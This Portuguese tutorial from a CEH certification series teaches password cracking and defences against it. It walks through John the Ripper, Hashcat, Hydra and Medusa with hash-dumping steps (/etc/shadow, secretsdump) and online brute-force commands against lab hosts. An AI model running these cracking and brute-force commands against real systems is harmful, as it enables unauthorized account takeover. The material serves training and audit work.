Password Cracking: John the Ripper, Hashcat e Hydra na...

Técnicas de password cracking

Senhas são a primeira linha de defesa — e o primeiro alvo. No CEH v13, password cracking ocupa um capítulo central porque a maioria dos breaches começa com credenciais comprometidas. Este artigo cobre tudo que um ethical hacker precisa saber: como hashes funcionam, como identificá-los, como quebrá-los offline com John the Ripper e Hashcat, como fazer brute-force online com Hydra, e como proteger sistemas contra esses ataques. Hands-on do início ao fim.

Por Que Password Cracking é Central no CEH

Dados da Verizon DBIR consistently mostram que 80%+ dos breaches envolvem credenciais roubadas ou fracas. Um pentester que não sabe quebrar senhas está voando cego — sem validar a força das credenciais, o relatório fica incompleto. O CEH v13 exige que o candidato entenda não apenas as ferramentas, mas os conceitos por trás: como hashing funciona, os trade-offs entre tipos de ataque, e como contra-medidas mitigam cada vetor.

Password cracking no contexto ético serve a três propósitos:

Auditoria de políticas — verificar se senhas no ambiente seguem o que a policy exige
Validação pós-breach — depois de obter acesso a um banco de dados, determinar quantas contas estão vulneráveis
Red team — cracked passwords viram pivô para lateral movement (reuso de credenciais)

💡 Princípio Ético

Só quebre hashes que você tem autorização para testar. Obter hashes de sistemas sem permissão é crime em praticamente todas as jurisdições. O CEH enfatiza: ethical hacking = autorização prévia + escopo definido + documentação.

Como Funcionam Sistemas de Autenticação por Senha

Sistemas modernos não armazenam senhas em plaintext. Quando você cria uma conta, a senha passa por uma função de hash unidirecional e o resultado (o hash) é o que fica armazenado. Na autenticação, o sistema hash a senha inserida e compara com o hash armazenado. Se coincidem, acesso concedido.

Funções hash para senhas têm propriedades específicas:

Unidirecionais — não é possível derivar a senha original a partir do hash
Determinísticas — mesma senha sempre gera o mesmo hash
Sensíveis a avalanche — mudança mínima na entrada altera drasticamente o output

Salt, Pepper e Hash Stretching

Hashes simples (MD5, SHA-1) são vulneráveis a ataques de pré-computação. Três técnicas mitigam isso:

Salt — valor aleatório único por senha, concatenado antes do hash. Mesmo senhas iguais produzem hashes diferentes. O salt é armazenado junto com o hash.

Pepper — valor secreto global, armazenado separadamente do banco de dados. Se o banco vaza mas o pepper não, os hashes permanecem protegidos.

Stretching (Key Derivation) — aplicar a função hash milhares de vezes para tornar cada tentativa lenta. Isso é o que torna bcrypt, scrypt e Argon2 resistentes a brute-force.

⚙️ Funções de Derivação de Chave

Função	Mecanismo	Uso
PBKDF2	Iterações de HMAC	LDAP, Active Directory, WPA2
bcrypt	Blowfish + cost factor	BSD, Ruby on Rails, PHP
scrypt	Memory-hard (CPU + RAM)	Litecoin, Tarsnap
Argon2	Memory-hard, winner PHC 2015	Recomendado OWASP, novos projetos

Formatos de Hash Comuns

Identificar o formato do hash é o primeiro passo. Cada sistema usa formatos diferentes:

Formato	Tamanho	Contexto	Exemplo (truncado)
LM	16 hex	Windows antigo (XP e anteriores)	`AAD3B435B51404EE`
NTLM	32 hex	Windows (SAM, NTDS.dit)	`8846F7EAEE8FB117AD06BDD830B7586C`
MD5	32 hex	MySQL antigo, web apps legadas	`5F4DCC3B5AA765D61D8327DEB882CF99`
SHA-1	40 hex	Git, SSL certificados antigos	`356A192B7913B04C54574D18C28D46E6395428AB`
SHA-256	64 hex	Linux (/etc/shadow), JWT	`5E884898DA28047...6E3D81736552528ED`
SHA-512	128 hex	Linux ($6$), macOS	`$6$rounds=5000$salt$hash...`
bcrypt	60 chars	Web apps modernos	`$2b$12$LJ3m4ys3Lk...`
BLAKE2	64/128 hex	WireGuard, Argon2	`0E5751C026E516B...`

Identificando Hashes com hashid

A ferramenta hashid analisa um hash e sugere formatos possíveis:

$ hashid "5F4DCC3B5AA765D61D8327DEB882CF99"
Analyzing '5F4DCC3B5AA765D61D8327DEB882CF99'
[+] MD5 (Core) [Hashcat: 0] [John: 0]
[+] MD4 [Hashcat: 900] [John: 0]
[+] Double MD5 [Hashcat: 2600] [John: 0]
[+] LM (Core) [Hashcat: 3000] [John: 0]

$ hashid '$2b$12$LJ3m4ys3Lk.IIJ5GzPB2TuhJCzhJMkVRbOMaCIpO/PjSOGBBzDKq'
Analyzing '$2b$12$LJ3m4ys3Lk.IIJ5GzPB2TuhJCzhJMkVRbOMaCIpO/PjSOGBBzDKq'
[+] Blowfish (OpenBSD) [Hashcat: 3200] [John: 1]
[+] Woltlab Burning Board 4.x [Hashcat: 2611]
[+] bcrypt [Hashcat: 3200] [John: 1]

Tipos de Ataque

Brute-Force

Tenta todas as combinações possíveis de caracteres. Comprimento 8 com charset alfanumérico (62 chars) = 62⁸ = 218 trilhões de combinações. Impraticável sem hardware massivo — mas eficaz para senhas curtas.

Dictionary Attack

Usa uma wordlist pré-compilada com senhas comuns. A famosa rockyou.txt (14 milhões de senhas vazadas em 2009) continua sendo a base. Eficiente porque a maioria das pessoas usa senhas que estão em wordlists.

Rule-Based Attack

Parte de uma wordlist e aplica transformações: leetspeak (a→@, e→3), capitalização, adição de números no final, duplicação, reversão. Transforma 1 milhão de entradas em centenas de milhões de candidatas sem precisar de uma wordlist enorme.

# Exemplos de regras (John the Ripper / hashcat)
# Regra leetspeak: s->S, o->0, e->3
# Regra append: adiciona "123" no final de cada palavra
# Regra toggle: alterna maiúsculas/minúsculas
# Regra reverse: inverte a string
# Regra duplicate: repete a senha (senha -> senhasenha)

Rainbow Tables

Tabelas de pré-computação que armazenam pares hash→senha. Trocam memória por tempo — mas são grandes (centenas de GB) e inúteis contra hashes salted. Cada salt único exige uma tabela separada. Por isso, estão praticamente obsoletas contra sistemas modernos.

Mask Attack

Quando você conhece a estrutura da senha (ex: 8 letras + 2 números), define uma máscara como ?u?u?u?u?u?u?u?d?d. Reduz drasticamente o espaço de busca. Extremamente eficiente quando o atacante tem inteligência sobre a policy de senhas.

Placeholders de máscara comuns:

?l — letra minúscula (a-z)
?u — letra maiúscula (A-Z)
?d — dígito (0-9)
?s — símbolo especial
?a — todos os caracteres

Hybrid Attack

Combina dictionary + mask. Por exemplo: pega cada palavra da wordlist e adiciona 2 dígitos no final (palavra?d?d). Captura o padrão mais comum de “senha fraca + números” que as pessoas usam.

📊 Comparativo de Velocidade (GT 4090, hashes/s aproximados)

Hash	Hashcat	Resistência
MD5	~60 GH/s	Péssima
NTLM	~100 GH/s	Péssima
SHA-256	~15 GH/s	Fraca
SHA-512 ($6$)	~1.5 GH/s	Moderada
bcrypt ($2b$12)	~150 KH/s	Boa
Argon2id	~5 KH/s	Excelente

John the Ripper

John the Ripper é o cracker de senhas offline mais antigo e versátil. Open source, presente em praticamente todo Linux, suporta dezenas de formatos de hash e oferece modos sofisticados de ataque.

Instalação

# Kali Linux (já instalado)
$ sudo apt install john

# Versão jumbo (mais formatos e features)
$ sudo apt install john-the-ripper

# Ubuntu/Debian
$ sudo apt install john

# macOS
$ brew install john-jumbo

Modos de Ataque

Modo Single (--single) — usa informações do próprio username (GECOS field no /etc/passwd) para gerar candidatas. Rápido e surpreendentemente eficaz contra senhas baseadas no nome.

$ john --single hashes.txt
Loaded 5 password hashes with 5 different salts (NTLM [MD4 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort
admin123    (admin)
password1   (jsmith)
Welcome1    (jdoe)
3 of 5 guesses cracked

Modo Wordlist (--wordlist) — o modo mais usado. Combina uma wordlist com regras de transformação.

# Cracking básico com rockyou
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Com formato específico (útil quando John não detecta automaticamente)
$ john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Com regras habilitadas (padrão no jumbo)
$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

# Formatos comuns do John:
# --format=raw-md5       → MD5 puro
# --format=nt            → NTLM
# --format=lm            → LM hash
# --format=sha512crypt   → SHA-512 ($6$)
# --format=bcrypt        → bcrypt
# --format=zip           → ZIP encrypted
# --format=rar5-hp       → RAR5

Modo Incremental (--incremental) — brute-force completo, testando todas as combinações. Lento mas exaustivo. Pode usar perfis de charset (ASCII, alnum, lower).

# Incremental com charset padrão (todos os printable ASCII)
$ john --incremental hashes.txt

# Incremental com charset específico (só minúsculas + dígitos, comprimento 6-8)
$ john --incremental=Lower --min-length=6 --max-length=8 hashes.txt

Exemplo Completo: Cracking Hashes NTLM

# 1. Criar arquivo com hashes (formato user:hash)
$ cat > ntlm_hashes.txt << EOF
admin:8846F7EAEE8FB117AD06BDD830B7586C
jsmith:5F4DCC3B5AA765D61D8327DEB882CF99
EOF

# 2. Identificar o formato
$ john --list=formats | grep -i ntlm
NT-opencl          NT                 NTLMv1

# 3. Cracking com wordlist + regras
$ john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt --rules ntlm_hashes.txt
Loaded 2 password hashes with no different salts (NT [MD4 32/64])
Press 'q' or Ctrl-C to abort
admin123    (admin)
password    (jsmith)
2g 0:00:00:01 DONE

# 4. Ver resultados
$ john --show --format=nt ntlm_hashes.txt
admin:admin123:500:::
jsmith:password:1001:::

2 password hashes cracked, 0 left

Exemplo: Cracking Hashes MD5

$ cat > md5_hashes.txt << EOF
user1:5f4dcc3b5aa765d61d8327deb882cf99
user2:e10adc3949ba59abbe56e057f20f883e
user3:098f6bcd4621d373cade4e832627b4f6
EOF

$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5_hashes.txt
password    (user1)
123456      (user2)
test        (user3)
3g 0:00:00:00 DONE

Exemplo: Cracking Arquivo ZIP

# Extrair hash do ZIP
$ zip2john protected.zip > zip_hash.txt

# Cracking
$ john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
secret123   (protected.zip/secret.txt)

Hashcat — O Poder da GPU

Se John é o velho confiável, Hashcat é o tanque de guerra. É o cracker mais rápido do mundo porque explora paralelismo massivo de GPUs. Enquanto John processa hashes/s em CPU, Hashcat processa bilhões com uma GPU moderna.

Instalação

# Kali Linux
$ sudo apt install hashcat

# Ubuntu (com drivers CUDA/ROCm instalados)
$ sudo apt install hashcat

# Verificar GPU detection
$ hashcat -I
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 CUDA 12.2.140) - Platform #1 [NVIDIA Corporation]
====================================================================
* Device #1: NVIDIA GeForce RTX 4090, 23727/24564 MB, 162MCU

Módulos de Hash (-m)

O Hashcat usa IDs numéricos para cada tipo de hash:

ID	Formato	Descrição
`0`	MD5	MD5 puro
`100`	SHA-1	SHA-1 puro
`1400`	SHA-256	SHA-256 puro
`1800`	SHA-512	SHA-512 ($6$, Unix)
`1000`	NTLM	Windows NTLM
`3000`	LM	Windows LM
`3200`	bcrypt	bcrypt Blowfish
`2500`	WPA2	WPA/WPA2 PMKID + EAPOL
`5600`	NetNTLMv2	NTLMv2 challenge/response

Lista completa: hashcat --help | grep -A 500 "Hash modes"

Modos de Ataque (-a)

# -a 0 → Dictionary attack
# -a 1 → Combinator attack (combina duas wordlists)
# -a 3 → Mask attack
# -a 6 → Hybrid dict + mask
# -a 7 → Hybrid mask + dict

Exemplos Completos

Dictionary Attack — MD5

# Criar arquivo com hashes (um por linha)
$ cat > md5.txt << EOF
5f4dcc3b5aa765d61d8327deb882cf99
e10adc3949ba59abbe56e057f20f883e
EOF

# Cracking
$ hashcat -m 0 -a 0 md5.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

5f4dcc3b5aa765d61d8327deb882cf99:password
e10adc3949ba59abbe56e057f20f883e:123456

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: md5.txt
Time.Estimated...: 0 secs

Dictionary + Rules — NTLM

$ cat > ntlm.txt << EOF
8846F7EAEE8FB117AD06BDD830B7586C
EOF

# Com regras best64 (64 transformações comuns)
$ hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Com regras rockyou-30000 (mais agressivas)
$ hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule

Mask Attack — Senhas com padrão conhecido

# 6 letras minúsculas + 2 dígitos
$ hashcat -m 0 -a 3 md5.txt ?l?l?l?l?l?l?d?d

# 8 letras maiúsculas
$ hashcat -m 0 -a 3 md5.txt ?u?u?u?u?u?u?u

# Primeira maiúscula + 7 minúsculas + 2 dígitos + 1 especial
$ hashcat -m 0 -a 3 md5.txt ?u?l?l?l?l?l?l?l?d?d?s

# Brute-force de 1 a 8 caracteres (todos os tipos)
$ hashcat -m 0 -a 3 md5.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=8

Hybrid Attack — Dicionário + Sufixo

# Cada palavra da wordlist + 3 dígitos no final
$ hashcat -m 0 -a 6 md5.txt /usr/share/wordlists/rockyou.txt ?d?d?d

# Prefixo + cada palavra
$ hashcat -m 0 -a 7 md5.txt ?d?d?d /usr/share/wordlists/rockyou.txt

Sessions — Pausar e Retomar

# Iniciar com nome de sessão
$ hashcat -m 1000 -a 0 ntlm.txt rockyou.txt --session=meu_crack

# Pausar: Ctrl+C (progresso salvo automaticamente)

# Restaurar sessão
$ hashcat --session=meu_crack --restore

# Mostrar resultados de sessões anteriores
$ hashcat -m 1000 ntlm.txt --show
8846f7eaee8fb117ad06bdd830b7586c:admin123

⚡ Dica: Force vs. Potência de Bruta

Sempre comece com dictionary attack. Se não resolver, vá para dictionary + rules. Mask attack quando conhece a estrutura. Brute-force puro é último recurso. A ordem correta economiza horas (ou dias) de processamento.

Hydra e Medusa — Brute-Force Online

Diferente de John e Hashcat (offline), Hydra e Medusa operam contra serviços ativos. Enviam tentativas de login direto ao alvo. Isso gera tráfego e logs — mais barulho, mas às vezes necessário quando não há acesso aos hashes.

Hydra

# Instalação
$ sudo apt install hydra

# SSH — brute-force com wordlist
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# SSH — com threads (padrão 16)
$ hydra -l root -P rockyou.txt -t 4 ssh://192.168.1.100

# FTP
$ hydra -l admin -P rockyou.txt ftp://192.168.1.100

# HTTP POST form (login web)
$ hydra -l admin -P rockyou.txt http-post-form://192.168.1.100/login.php:"username=^USER^&password=^PASS^&login=Login":"Failed login" -t 10

# RDP (Windows Remote Desktop)
$ hydra -l administrator -P rockyou.txt rdp://192.168.1.100

# MySQL
$ hydra -l root -P rockyou.txt mysql://192.168.1.100

# PostgreSQL
$ hydra -l postgres -P rockyou.txt postgres://192.168.1.100

# SMB
$ hydra -l administrator -P rockyou.txt smb://192.168.1.100

# Com lista de usuários (tentar todos contra todos)
$ hydra -L users.txt -P rockyou.txt ssh://192.168.1.100

# Especificar porta customizada
$ hydra -l admin -P rockyou.txt -s 2222 ssh://192.168.1.100

Medusa — Alternativa

Medusa é paralelo ao Hydra com diferenças sutis: suporta mais módulos nativamente e pode ser mais estável em certos protocolos.

# Instalação
$ sudo apt install medusa

# SSH
$ medusa -h 192.168.1.100 -u admin -P rockyou.txt -M ssh

# FTP
$ medusa -h 192.168.1.100 -u admin -P rockyou.txt -M ftp

# MySQL
$ medusa -h 192.168.1.100 -u root -P rockyou.txt -M mysql

# Listar módulos disponíveis
$ medusa -d

⚠️ Ataques Online = Ruído

Brute-force online gera logs de tentativas falhadas. Em ambientes com lockout (3-5 tentativas), vai bloquear contas. Em ambências com SIEM, vai gerar alertas. Use com cautela em pentests — preferencialmente offline. Quando online for necessário, limite threads e combine com verificação de lockout policy antes.

Crunch e Custom Wordlists

Wordlists genéricas são o ponto de partida, mas wordlists customizadas baseadas no alvo são infinitamente mais eficazes. Existem ferramentas para gerar, extrair e perfilhar wordlists.

Crunch — Gerador de Wordlists

# Instalação
$ sudo apt install crunch

# Gerar todas as combinações de 4 dígitos
$ crunch 4 4 0123456789 -o pin_codes.txt

# Senhas de 6-8 chars, minúsculas apenas
$ crunch 6 8 abcdefghijklmnopqrstuvwxyz -o passwords.txt

# Pattern: 3 letras + 3 dígitos
$ crunch 6 6 -f /usr/share/crunch/charset.lst mixalpha-numeric -t @@@@@@ -o wordlist.txt

# Pattern específico: "pass" + 2 dígitos
$ crunch 6 6 -t pass@@ -o wordlist.txt

# Pattern: letra maiúscula + minúsculas + 2 dígitos
$ crunch 8 8 -t @@@@@@@@ -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.txt

# Split em múltiplos arquivos (útil para wordlists enormes)
$ crunch 8 8 abcdefghijklmnopqrstuvwxyz -b 1mb -o START

CeWL — Extrair Palavras de Websites

# Instalação
$ sudo apt install cewl

# Extrair palavras de um site (mínimo 5 chars)
$ cewl http://target-site.com -d 3 -m 5 -w wordlist.txt
# -d 3: profundidade de crawling
# -m 5: tamanho mínimo da palavra

# Com email harvesting
$ cewl http://target-site.com -e -o emails.txt

CUPP — Custom User Password Profiler

# Clone e execução interativa
$ git clone https://github.com/Mebus/cupp.git
$ cd cupp
$ python3 cupp.py -i

# O CUPP pergunta:
# Nome, sobrenome, apelido, nome do parceiro(a), pet, local
# Data de nascimento, aniversário, números favoritos
# Gera wordlist customizada com variações (leetspeak, capitalização, anexos)

Mentalist — GUI para Wordlists Custom

Mentalist permite criar wordlists customizadas via interface gráfica, combinando múltiplas fontes com regras de transformação. Útil quando se tem profiling do alvo.

Hands-On: Cracking Completo do Zero

Vamos simular um cenário real de pentest: obter hashes de um alvo, identificar, e crackar.

Passo 1 — Obter Hashes do Metasploitable 2

# Se tiver acesso SSH, ler /etc/passwd e /etc/shadow
$ ssh user@192.168.1.101
$ sudo cat /etc/shadow

# Output típico:
root:$6$XYZ$salt$hashlength...:19000:0:99999:7:::
msfadmin:$1$XKDRr5$something...:19000:0:99999:7:::
postgres:$1$RQwxSg$another...:19000:0:99999:7:::

# Se usar unshadow (John the Ripper)
$ unshadow /etc/passwd /etc/shadow > combined.txt

# Via SMB (se disponível)
$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py DOMAIN/user@192.168.1.101
# Output: NTLM hashes de todos os usuários do AD

Passo 2 — Identificar o Formato

# $6$ = SHA-512 (Linux moderno)
# $1$ = MD5 crypt (Linux antigo)
# $5$ = SHA-256 crypt
# $2b$ = bcrypt

$ hashid '$6$XYZ$salt$hash...'
[+] sha512crypt $6$, SHA-512 (Unix) [Hashcat: 1800] [John: 0]

Passo 3 — Cracking com John the Ripper

# Modo wordlist
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt combined.txt

# Modo single (rápido, usa GECOS)
$ john --single --format=sha512crypt combined.txt

# Resultados
$ john --show --format=sha512crypt combined.txt
msfadmin:msfadmin:1001:1001:Metasploitable Web User:/home/msfadmin:/bin/bash
1 password hash cracked, 0 left

Passo 4 — Cracking com Hashcat

# Hashcat precisa dos hashes no formato correto ($6$salt$hash, sem o user: prefix)
# Extrair hashes
$ grep '$6$' combined.txt | cut -d: -f2 > sha512_hashes.txt

# Dictionary attack
$ hashcat -m 1800 -a 0 sha512_hashes.txt /usr/share/wordlists/rockyou.txt

# Com rules
$ hashcat -m 1800 -a 0 sha512_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Mostrar cracked
$ hashcat -m 1800 sha512_hashes.txt --show

Passo 5 — Brute-Force Online com Hydra (SSH)

# Tentar credenciais default e comuns contra SSH
$ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.1.101

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
[DATA] attacking ssh://192.168.1.101:22/
[STATUS] 275.00 tries/min, 275 tries in 00:01h, 14344124 to do in 868:45h
[22][ssh] host: 192.168.1.101  login: msfadmin  password: msfadmin
1 of 1 target successfully completed, 1 valid password found

Tabela Comparativa das Ferramentas

Ferramenta	Tipo	Hardware	Velocidade	Destaques
John the Ripper	Offline	CPU	Moderada	Modo single, regras avançadas, open source
Hashcat	Offline	GPU	Extrema	Fastest, mask attack, 600+ módulos, distro rules
Hydra	Online	CPU	Lenta (rede)	50+ protocolos, paralelismo, popular
Medusa	Online	CPU	Lenta (rede)	Mais módulos que Hydra, modular
Crunch	Gerador	CPU	N/A	Gerador de wordlists por charset/pattern
CeWL	Gerador	CPU	N/A	Extrai palavras de websites do alvo

Contra-Medidas

A defesa contra password cracking opera em múltiplas camadas:

1. Escolha Correta do Algoritmo de Hash

bcrypt, scrypt e Argon2 são as únicas opções aceitáveis para novos projetos. MD5 e SHA-1 foram quebrados há décadas. SHA-256/512 puros são rápidos demais para senhas — servem para integridade, não para armazenar credenciais.

# Python — hashing correto com bcrypt
import bcrypt

password = b"SuperSecret123!"
salt = bcrypt.gensalt(rounds=12)  # cost factor 12
hashed = bcrypt.hashpw(password, salt)

# Verificação
bcrypt.checkpw(password, hashed)  # True

2. Políticas de Senha Baseadas em Entropia

O NIST SP 800-63B revolucionou as recomendações. Em vez de exigir complexidade artificial (maiúscula + número + especial), o foco é:

Comprimento mínimo de 8 caracteres (recomendado 15+)
Bloquear senhas em listas de senhas comuns (haveibeenpwned)
Passphrases — frases longas são mais seguras e memoráveis que senhas curtas complexas
Não exigir rotação periódica — leva a senhas piores (Password1!, Password2!, Password3!)
Não impor limites máximos — comprimento = segurança

Uma passphrase como "gato-come-peixe-na-tarde-fria" tem entropia brutal e é fácil de lembrar.

3. Multi-Factor Authentication (MFA)

MFA é a mitigação mais eficaz contra credenciais comprometidas. Mesmo com a senha crackada, o atacante precisa do segundo fator. Implementar TOTP (Google Authenticator) ou push-based (Duo, Okta).

4. Account Lockout e Rate Limiting

Account lockout — após N tentativas falhadas, bloquear a conta (5-10 tentativas para senhas, 3-5 para MFA)
Rate limiting — limitar tentativas por IP/usuário (ex: 5 por minuto)
Progressive delay — cada tentativa falhada aumenta o tempo de espera (1s, 2s, 4s, 8s…)
IP block — bloquear IPs após N falhas (com whitelisting para trusted IPs)

5. Password Managers

Password managers (Bitwarden, 1Password, KeePass) permitem senhas únicas, longas e aleatórias por serviço. Se uma vaza, as outras permanecem seguras. O único ponto de falha é a senha mestra — que deve ser forte e protegida por MFA.

6. Monitoramento e Detecção

Monitorar logs de autenticação — múltiplas falhas de login em sequência = sinal de ataque
SIEM correlation — detectar padrões de brute-force em tempo real
Have I Been Pwned — verificar se senhas do ambiente aparecem em vazamentos
Conduct password audits — periodicamente crackar hashes internos para medir segurança

🛡️ Checklist de Defesa

✓ Usar bcrypt/Argon2 (nunca MD5/SHA-1 para senhas)
✓ Exigir mínimo 12-15 caracteres
✓ Implementar MFA em todos os serviços
✓ Bloquear senhas em wordlists comuns
✓ Rate limiting + account lockout
✓ Password manager corporativo
✓ Auditoria periódica de senhas
✓ Monitoramento de logs de autenticação

Próximo Artigo

No Artigo 12 da série CEH v13 Zero to Hero, vamos cobrir Privilege Escalation — como um atacante eleva privilégios de usuário comum para root/administrator. Cobriremos técnicas no Linux (SUID, sudo misconfigurations, cron jobs, kernel exploits) e no Windows (token impersonation, unquoted service paths, DLL hijacking, AlwaysInstallElevated). A escalada de privilégios é o que separa um acesso inicial limitado de comprometimento total do sistema.